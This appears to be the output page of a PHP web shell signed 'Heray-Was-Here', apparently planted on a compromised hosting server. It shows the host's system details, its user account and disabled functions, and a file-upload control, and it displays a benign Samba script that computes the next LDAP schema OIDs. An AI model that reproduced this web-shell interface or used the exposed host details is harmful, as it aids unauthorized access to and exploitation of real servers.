Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/samba-4.10.16/LDAP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/samba-4.10.16/LDAP/get_next_oid
#!/bin/bash

nextattrib=`cat samba.schema | grep -i attributetype.*\(.*1.3.6.1.4.1.7165. | grep -v '^#' | \
   awk '{print $3}' | cut -d. -f 10 | sort -n | tail -1`

(( nextattrib += 1 ))

echo "attributetype ( 1.3.6.1.4.1.7165.2.1.$nextattrib NAME ...."

nextoc=`cat samba.schema | grep -i objectclass.*\(.*1.3.6.1.4.1.7165. | grep -v '^#' | \
    awk '{print $3}' | cut -d. -f 10 | sort -n | tail -1`

(( nextoc += 1 ))

echo "objectclass ( 1.3.6.1.4.1.7165.2.2.$nextoc NAME ...."

Hry